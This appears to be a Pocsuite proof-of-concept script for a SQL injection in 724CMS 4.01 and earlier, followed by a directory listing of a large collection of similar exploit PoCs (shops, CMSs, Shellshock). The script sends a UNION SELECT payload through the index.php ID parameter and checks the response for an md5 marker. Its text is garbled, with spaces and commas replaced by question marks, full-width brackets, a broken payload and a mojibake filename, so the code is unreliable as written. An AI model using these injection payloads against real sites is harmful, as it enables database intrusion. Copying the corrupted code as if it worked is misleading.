#!/usr/bin/env?python
#?coding:?utf-8

from?pocsuite.net?import?req
from?pocsuite.poc?import?POCbase?Output
from?pocsuite.utils?import?register

class?TestPOC（POCbase）:
????vulID?=?‘SSV-65307‘??#?vul?ID
????version?=?‘1‘
????author?=?[‘hh‘]
????vulDate?=?‘2008-04-07‘
????createDate?=?‘2015-10-16‘
????updateDate?=?‘2015-10-16‘
????references?=?[‘https://www.exploit-db.com/exploits/5400/‘]
????name?=?‘724CMS?<=?4.01?Enterprise?（index.php?ID）?SQL?Injection?Vulnerability‘
????appPowerlink?=?‘http://724cms.com/‘
????appName?=?‘724cms‘
????appVersion?=?‘<=?4.01‘
????vulType?=?‘SQL?Injection‘
????desc?=?‘‘‘
????????724Networks?724CMS?4.01及其早期版本的index.php存在SQL注入漏洞。遠程攻擊者通過ID參數來執行任意SQL命令。
????‘‘‘
????#?the?sample?sites?for?examine
????samples?=?[‘‘]

????def?_verify（self）:
????????result?=?{}
????????payload?=?“/index.php?ID=1?UNION?SELECT?1md5（666）345678--“
????????verify_url?=?self.url?+?payload
????????content?=?req.get（verify_url）.content
????????if?‘fae0b27c451c728867a567e8c1bb4e53‘?in?content:
????????????result[‘VerifyInfo‘]?=?{}
????????????result[‘VerifyInfo‘][‘URL‘]?=?verify_url
????????return?self.parse_verify（result）

????def?_attack（self）:
????????return?self._verify（）

????def?parse_verify（self?result）:
????????output?=?Output（self）
????????if?result:
????????????output.success（result）
????????else:
????????????output.fail（‘Internet?Nothing?returned‘）
????????return?output

register（TestPOC）

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2018-08-31?09:09??poc\
?????目錄???????????0??2018-08-29?10:33??poc\qht_study\
?????文件?????????767??2018-07-26?20:27??poc\qht_study\2345.py
?????文件?????????764??2018-07-26?20:27??poc\qht_study\2348.py
?????文件?????????783??2018-07-26?20:27??poc\qht_study\2347.py
?????目錄???????????0??2018-08-29?10:33??poc\shopxp\
?????文件?????????706??2018-07-26?20:27??poc\shopxp\1441.py
?????文件?????????740??2018-07-26?20:27??poc\shopxp\840.py
?????文件?????????633??2018-07-26?20:27??poc\shopxp\1438.py
?????目錄???????????0??2018-08-29?10:33??poc\360shop\
?????文件?????????703??2018-07-26?20:27??poc\360shop\2732.py
?????目錄???????????0??2018-08-29?10:33??poc\vicworl\
?????文件?????????662??2018-07-26?20:27??poc\vicworl\1148.py
?????文件?????????504??2018-07-26?20:27??poc\vicworl\1149.py
?????文件?????????806??2018-07-26?20:27??poc\vicworl\1230.py
?????文件????????2150??2018-07-25?20:41??poc\web_shellshock.py
?????目錄???????????0??2018-08-29?10:33??poc\dswjcms\
?????文件????????1613??2018-07-26?20:27??poc\dswjcms\1944.py
?????文件?????????878??2018-07-26?20:27??poc\dswjcms\2681.py
?????文件?????????869??2018-07-26?20:27??poc\dswjcms\2686.py
?????文件?????????874??2018-07-26?20:27??poc\dswjcms\2682.py
?????文件?????????863??2018-07-26?20:27??poc\dswjcms\2683.py
?????目錄???????????0??2018-08-29?10:33??poc\newvane_onlineexam\
?????文件?????????844??2018-07-26?20:27??poc\newvane_onlineexam\1151.py
?????文件????????1846??2018-04-28?16:05??poc\Apple?Macintosh?OS?X?.DS_Store?淇℃伅娉勯湶婕忔礊.py
?????目錄???????????0??2018-08-29?10:33??poc\yongyou_zhiyuan_a6\
?????文件?????????818??2018-07-26?20:27??poc\yongyou_zhiyuan_a6\2091.py
?????文件?????????582??2018-07-26?20:27??poc\yongyou_zhiyuan_a6\2003.py
?????文件????????1121??2018-07-26?20:27??poc\yongyou_zhiyuan_a6\2676.py
?????文件?????????829??2018-07-26?20:27??poc\yongyou_zhiyuan_a6\3116.py
?????文件?????????662??2018-07-26?20:27??poc\yongyou_zhiyuan_a6\2675.py
............此處省略2180個文件信息